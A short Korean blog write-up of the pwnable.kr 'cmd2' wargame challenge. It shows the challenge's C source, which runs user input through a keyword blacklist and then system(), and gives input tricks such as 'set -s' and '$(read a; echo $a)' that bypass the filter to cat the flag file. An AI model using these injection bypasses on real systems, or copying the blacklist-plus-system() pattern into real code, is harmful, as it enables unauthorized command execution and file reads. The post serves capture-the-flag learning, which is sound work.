[pwnable.kr] cmd2

2018. 6. 8. 16:56


cmd1에 이은 cmd2이다.


처음에는 패스워드를 몰라서 들어가는데 한참 고생한 ㅡㅡ;

(pw:flag of cmd1) 라고 뻔히 적혀있는데... pw가 진짜로 "flag of cmd1"이란 문자열인줄 알았다. 멍청...



어쨋든 password로 cmd1의 flag를 입력하고 들어갈 수 있다. 들어가면 cmd1과 비슷한 파일들이 주어진다.

그러나 cmd1과는 다르게 필터가 조금 강화되었다.  보시라!


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
 
int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "=")!=0;
    r += strstr(cmd, "PATH")!=0;
    r += strstr(cmd, "export")!=0;
    r += strstr(cmd, "/")!=0;
    r += strstr(cmd, "`")!=0;
    r += strstr(cmd, "flag")!=0;
    return r;
}
 
extern char** environ;
void delete_env(){
    char** p;
    for(p=environ; *p; p++)    memset(*p, 0, strlen(*p));
}
 
int main(int argc, char* argv[], char** envp){
    delete_env();
    putenv("PATH=/no_command_execution_until_you_become_a_hacker");
    if(filter(argv[1])) return 0;
    printf("%s\n", argv[1]);
    system( argv[1] );
    return 0;
}
 
cs


쓸수없는게 굉장히 많아졌습니다....ㄴ ㅔㅁ

저번에는 그냥 /bin/cat fl* 로 쉽게 풀어서 벌받은 기분...


일단 아래와 같이 풀어보았는데... 플래그 획득후에 pwnable.kr에 writeup올라온 것들 보니

재미있는 풀이가 많아서 가져와서 설명좀 붙여서 적으려다가 굳이 그럴 이유가 있나 싶어서 포기.



어쨋든 획득 성공



pwnable.kr에 있는 writeup에 괜찮은 풀이도 많고 배울것도 많아서 한번 보는것도 나쁘지않다.


이 풀이법이 괜찮더라..

/home/cmd2/cmd2 'set -s'

/bin/cat /home/cmd2/flag


or


./cmd2 '$(read a; echo $a)'

$(read a; echo $a)

/bin/cat flag 


'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] asm  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08
[pwnable.kr] uaf - 8 pt  (0) 2018.05.31
[pwnable.kr] passcode - 10 pt  (0) 2018.05.28
[pwnable.kr] echo1 - 25 pt (Only ROP!!)  (0) 2018.05.27

+ Recent posts